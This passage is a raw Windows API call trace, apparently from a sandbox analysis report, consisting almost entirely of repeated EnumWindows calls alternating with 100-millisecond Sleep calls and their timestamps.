EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.163] Sleep (dwMilliseconds=0x64) [0126.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.165] Sleep (dwMilliseconds=0x64) [0126.167] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.167] Sleep (dwMilliseconds=0x64) [0126.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.169] Sleep (dwMilliseconds=0x64) [0126.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.170] Sleep (dwMilliseconds=0x64) [0126.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.173] Sleep (dwMilliseconds=0x64) [0126.175] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.176] Sleep (dwMilliseconds=0x64) [0126.177] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.178] Sleep (dwMilliseconds=0x64) [0126.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.180] Sleep (dwMilliseconds=0x64) [0126.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.183] Sleep (dwMilliseconds=0x64) [0126.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.186] Sleep (dwMilliseconds=0x64) [0126.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.189] Sleep (dwMilliseconds=0x64) [0126.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.190] Sleep (dwMilliseconds=0x64) [0126.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.192] Sleep (dwMilliseconds=0x64) [0126.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.194] Sleep (dwMilliseconds=0x64) [0126.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.196] Sleep (dwMilliseconds=0x64) [0126.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.197] Sleep (dwMilliseconds=0x64) [0126.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.201] Sleep (dwMilliseconds=0x64) [0126.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.202] Sleep (dwMilliseconds=0x64) [0126.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.205] Sleep (dwMilliseconds=0x64) [0126.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.207] Sleep (dwMilliseconds=0x64) [0126.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.209] Sleep (dwMilliseconds=0x64) [0126.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.211] Sleep (dwMilliseconds=0x64) [0126.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.213] Sleep (dwMilliseconds=0x64) [0126.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.215] Sleep (dwMilliseconds=0x64) [0126.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.217] Sleep (dwMilliseconds=0x64) [0126.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.218] Sleep (dwMilliseconds=0x64) [0126.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.220] Sleep (dwMilliseconds=0x64) [0126.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.222] Sleep (dwMilliseconds=0x64) [0126.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.223] Sleep (dwMilliseconds=0x64) [0126.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.225] Sleep (dwMilliseconds=0x64) [0126.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.226] Sleep (dwMilliseconds=0x64) [0126.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.228] Sleep (dwMilliseconds=0x64) [0126.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.229] Sleep (dwMilliseconds=0x64) [0126.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.231] Sleep (dwMilliseconds=0x64) [0126.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.232] Sleep (dwMilliseconds=0x64) [0126.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.235] Sleep (dwMilliseconds=0x64) [0126.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.237] Sleep (dwMilliseconds=0x64) [0126.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.239] Sleep (dwMilliseconds=0x64) [0126.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.241] Sleep (dwMilliseconds=0x64) [0126.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.242] Sleep (dwMilliseconds=0x64) [0126.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.244] Sleep (dwMilliseconds=0x64) [0126.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.246] Sleep (dwMilliseconds=0x64) [0126.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.249] Sleep (dwMilliseconds=0x64) [0126.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.251] Sleep (dwMilliseconds=0x64) [0126.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.252] Sleep (dwMilliseconds=0x64) [0126.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.254] Sleep (dwMilliseconds=0x64) [0126.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.255] Sleep (dwMilliseconds=0x64) [0126.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.257] Sleep (dwMilliseconds=0x64) [0126.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.259] Sleep (dwMilliseconds=0x64) [0126.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.260] Sleep (dwMilliseconds=0x64) [0126.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.262] Sleep (dwMilliseconds=0x64) [0126.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.264] Sleep (dwMilliseconds=0x64) [0126.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.266] Sleep (dwMilliseconds=0x64) [0126.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.267] Sleep (dwMilliseconds=0x64) [0126.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.269] Sleep (dwMilliseconds=0x64) [0126.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.271] Sleep (dwMilliseconds=0x64) [0126.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.290] Sleep (dwMilliseconds=0x64) [0126.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.292] Sleep (dwMilliseconds=0x64) [0126.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.293] Sleep (dwMilliseconds=0x64) [0126.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.295] Sleep (dwMilliseconds=0x64) [0126.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.297] Sleep (dwMilliseconds=0x64) [0126.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.298] Sleep (dwMilliseconds=0x64) [0126.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.300] Sleep (dwMilliseconds=0x64) [0126.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.301] Sleep (dwMilliseconds=0x64) [0126.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.303] Sleep (dwMilliseconds=0x64) [0126.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.304] Sleep (dwMilliseconds=0x64) [0126.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.307] Sleep (dwMilliseconds=0x64) [0126.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.309] Sleep (dwMilliseconds=0x64) [0126.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.311] Sleep (dwMilliseconds=0x64) [0126.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.312] Sleep (dwMilliseconds=0x64) [0126.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.315] Sleep (dwMilliseconds=0x64) [0126.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.317] Sleep (dwMilliseconds=0x64) [0126.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.320] Sleep (dwMilliseconds=0x64) [0126.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.321] Sleep (dwMilliseconds=0x64) [0126.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.323] Sleep (dwMilliseconds=0x64) [0126.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.326] Sleep (dwMilliseconds=0x64) [0126.327] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.327] Sleep (dwMilliseconds=0x64) [0126.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.329] Sleep (dwMilliseconds=0x64) [0126.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.331] Sleep (dwMilliseconds=0x64) [0126.332] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.333] Sleep (dwMilliseconds=0x64) [0126.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.336] Sleep (dwMilliseconds=0x64) [0126.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.338] Sleep (dwMilliseconds=0x64) [0126.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.340] Sleep (dwMilliseconds=0x64) [0126.341] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.341] Sleep (dwMilliseconds=0x64) [0126.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.343] Sleep (dwMilliseconds=0x64) [0126.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.344] Sleep (dwMilliseconds=0x64) [0126.346] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.346] Sleep (dwMilliseconds=0x64) [0126.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.348] Sleep (dwMilliseconds=0x64) [0126.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.349] Sleep (dwMilliseconds=0x64) [0126.351] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.351] Sleep (dwMilliseconds=0x64) [0126.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.353] Sleep (dwMilliseconds=0x64) [0126.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.355] Sleep (dwMilliseconds=0x64) [0126.357] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.357] Sleep (dwMilliseconds=0x64) [0126.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.359] Sleep (dwMilliseconds=0x64) [0126.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.361] Sleep (dwMilliseconds=0x64) [0126.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.363] Sleep (dwMilliseconds=0x64) [0126.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.364] Sleep (dwMilliseconds=0x64) [0126.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.366] Sleep (dwMilliseconds=0x64) [0126.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.367] Sleep (dwMilliseconds=0x64) [0126.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.369] Sleep (dwMilliseconds=0x64) [0126.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.370] Sleep (dwMilliseconds=0x64) [0126.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.372] Sleep (dwMilliseconds=0x64) [0126.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.374] Sleep (dwMilliseconds=0x64) [0126.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.375] Sleep (dwMilliseconds=0x64) [0126.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.377] Sleep (dwMilliseconds=0x64) [0126.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.378] Sleep (dwMilliseconds=0x64) [0126.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.380] Sleep (dwMilliseconds=0x64) [0126.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.382] Sleep (dwMilliseconds=0x64) [0126.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.383] Sleep (dwMilliseconds=0x64) [0126.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.385] Sleep (dwMilliseconds=0x64) [0126.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.386] Sleep (dwMilliseconds=0x64) [0126.387] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.388] Sleep (dwMilliseconds=0x64) [0126.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.389] Sleep (dwMilliseconds=0x64) [0126.390] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.391] Sleep (dwMilliseconds=0x64) [0126.392] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.392] Sleep (dwMilliseconds=0x64) [0126.393] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.394] Sleep (dwMilliseconds=0x64) [0126.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.395] Sleep (dwMilliseconds=0x64) [0126.397] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.397] Sleep (dwMilliseconds=0x64) [0126.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.399] Sleep (dwMilliseconds=0x64) [0126.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.400] Sleep (dwMilliseconds=0x64) [0126.403] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.403] Sleep (dwMilliseconds=0x64) [0126.404] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.405] Sleep (dwMilliseconds=0x64) [0126.406] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.406] Sleep (dwMilliseconds=0x64) [0126.407] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.408] Sleep (dwMilliseconds=0x64) [0126.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.409] Sleep (dwMilliseconds=0x64) [0126.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.411] Sleep (dwMilliseconds=0x64) [0126.412] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.412] Sleep (dwMilliseconds=0x64) [0126.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.414] Sleep (dwMilliseconds=0x64) [0126.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.415] Sleep (dwMilliseconds=0x64) [0126.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.417] Sleep (dwMilliseconds=0x64) [0126.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.418] Sleep (dwMilliseconds=0x64) [0126.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.420] Sleep (dwMilliseconds=0x64) [0126.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.421] Sleep (dwMilliseconds=0x64) [0126.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.423] Sleep (dwMilliseconds=0x64) [0126.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.424] Sleep (dwMilliseconds=0x64) [0126.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.428] Sleep (dwMilliseconds=0x64) [0126.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.429] Sleep (dwMilliseconds=0x64) [0126.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.431] Sleep (dwMilliseconds=0x64) [0126.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.432] Sleep (dwMilliseconds=0x64) [0126.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.434] Sleep (dwMilliseconds=0x64) [0126.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.436] Sleep (dwMilliseconds=0x64) [0126.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.437] Sleep (dwMilliseconds=0x64) [0126.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.439] Sleep (dwMilliseconds=0x64) [0126.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.440] Sleep (dwMilliseconds=0x64) [0126.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.442] Sleep (dwMilliseconds=0x64) [0126.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.443] Sleep (dwMilliseconds=0x64) [0126.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.445] Sleep (dwMilliseconds=0x64) [0126.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.446] Sleep (dwMilliseconds=0x64) [0126.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.448] Sleep (dwMilliseconds=0x64) [0126.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.449] Sleep (dwMilliseconds=0x64) [0126.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.452] Sleep (dwMilliseconds=0x64) [0126.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.453] Sleep (dwMilliseconds=0x64) [0126.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.455] Sleep (dwMilliseconds=0x64) [0126.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.462] Sleep (dwMilliseconds=0x64) [0126.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.464] Sleep (dwMilliseconds=0x64) [0126.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.466] Sleep (dwMilliseconds=0x64) [0126.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.467] Sleep (dwMilliseconds=0x64) [0126.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.469] Sleep (dwMilliseconds=0x64) [0126.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.470] Sleep (dwMilliseconds=0x64) [0126.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.472] Sleep (dwMilliseconds=0x64) [0126.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.473] Sleep (dwMilliseconds=0x64) [0126.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.475] Sleep (dwMilliseconds=0x64) [0126.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.477] Sleep (dwMilliseconds=0x64) [0126.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.478] Sleep (dwMilliseconds=0x64) [0126.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.480] Sleep (dwMilliseconds=0x64) [0126.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.481] Sleep (dwMilliseconds=0x64) [0126.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.483] Sleep (dwMilliseconds=0x64) [0126.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.485] Sleep (dwMilliseconds=0x64) [0126.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.486] Sleep (dwMilliseconds=0x64) [0126.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.488] Sleep (dwMilliseconds=0x64) [0126.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.490] Sleep (dwMilliseconds=0x64) [0126.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.491] Sleep (dwMilliseconds=0x64) [0126.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.493] Sleep (dwMilliseconds=0x64) [0126.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.494] Sleep (dwMilliseconds=0x64) [0126.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.496] Sleep (dwMilliseconds=0x64) [0126.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.497] Sleep (dwMilliseconds=0x64) [0126.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.499] Sleep (dwMilliseconds=0x64) [0126.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.500] Sleep (dwMilliseconds=0x64) [0126.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.502] Sleep (dwMilliseconds=0x64) [0126.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.507] Sleep (dwMilliseconds=0x64) [0126.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.509] Sleep (dwMilliseconds=0x64) [0126.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.591] Sleep (dwMilliseconds=0x64) [0126.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.594] Sleep (dwMilliseconds=0x64) [0126.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.595] Sleep (dwMilliseconds=0x64) [0126.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.597] Sleep (dwMilliseconds=0x64) [0126.598] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.598] Sleep (dwMilliseconds=0x64) [0126.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.600] Sleep (dwMilliseconds=0x64) [0126.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.602] Sleep (dwMilliseconds=0x64) [0126.604] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.604] Sleep (dwMilliseconds=0x64) [0126.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.605] Sleep (dwMilliseconds=0x64) [0126.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.607] Sleep (dwMilliseconds=0x64) [0126.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.609] Sleep (dwMilliseconds=0x64) [0126.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.611] Sleep (dwMilliseconds=0x64) [0126.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.613] Sleep (dwMilliseconds=0x64) [0126.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.615] Sleep (dwMilliseconds=0x64) [0126.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.617] Sleep (dwMilliseconds=0x64) [0126.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.619] Sleep (dwMilliseconds=0x64) [0126.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.622] Sleep (dwMilliseconds=0x64) [0126.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.624] Sleep (dwMilliseconds=0x64) [0126.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.625] Sleep (dwMilliseconds=0x64) [0126.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.627] Sleep (dwMilliseconds=0x64) [0126.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.629] Sleep (dwMilliseconds=0x64) [0126.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.630] Sleep (dwMilliseconds=0x64) [0126.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.633] Sleep (dwMilliseconds=0x64) [0126.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.634] Sleep (dwMilliseconds=0x64) [0126.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.636] Sleep (dwMilliseconds=0x64) [0126.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.637] Sleep (dwMilliseconds=0x64) [0126.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.639] Sleep (dwMilliseconds=0x64) [0126.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.641] Sleep (dwMilliseconds=0x64) [0126.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.643] Sleep (dwMilliseconds=0x64) [0126.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.644] Sleep (dwMilliseconds=0x64) [0126.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.646] Sleep (dwMilliseconds=0x64) [0126.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.648] Sleep (dwMilliseconds=0x64) [0126.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.649] Sleep (dwMilliseconds=0x64) [0126.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.651] Sleep (dwMilliseconds=0x64) [0126.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.652] Sleep (dwMilliseconds=0x64) [0126.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.655] Sleep (dwMilliseconds=0x64) [0126.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.657] Sleep (dwMilliseconds=0x64) [0126.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.659] Sleep (dwMilliseconds=0x64) [0126.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.660] Sleep (dwMilliseconds=0x64) [0126.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.662] Sleep (dwMilliseconds=0x64) [0126.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.663] Sleep (dwMilliseconds=0x64) [0126.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.665] Sleep (dwMilliseconds=0x64) [0126.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.667] Sleep (dwMilliseconds=0x64) [0126.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.669] Sleep (dwMilliseconds=0x64) [0126.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.671] Sleep (dwMilliseconds=0x64) [0126.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.672] Sleep (dwMilliseconds=0x64) [0126.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.702] Sleep (dwMilliseconds=0x64) [0126.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.705] Sleep (dwMilliseconds=0x64) [0126.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.706] Sleep (dwMilliseconds=0x64) [0126.707] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.708] Sleep (dwMilliseconds=0x64) [0126.709] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.709] Sleep (dwMilliseconds=0x64) [0126.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.711] Sleep (dwMilliseconds=0x64) [0126.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.713] Sleep (dwMilliseconds=0x64) [0126.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.715] Sleep (dwMilliseconds=0x64) [0126.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.717] Sleep (dwMilliseconds=0x64) [0126.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.719] Sleep (dwMilliseconds=0x64) [0126.724] 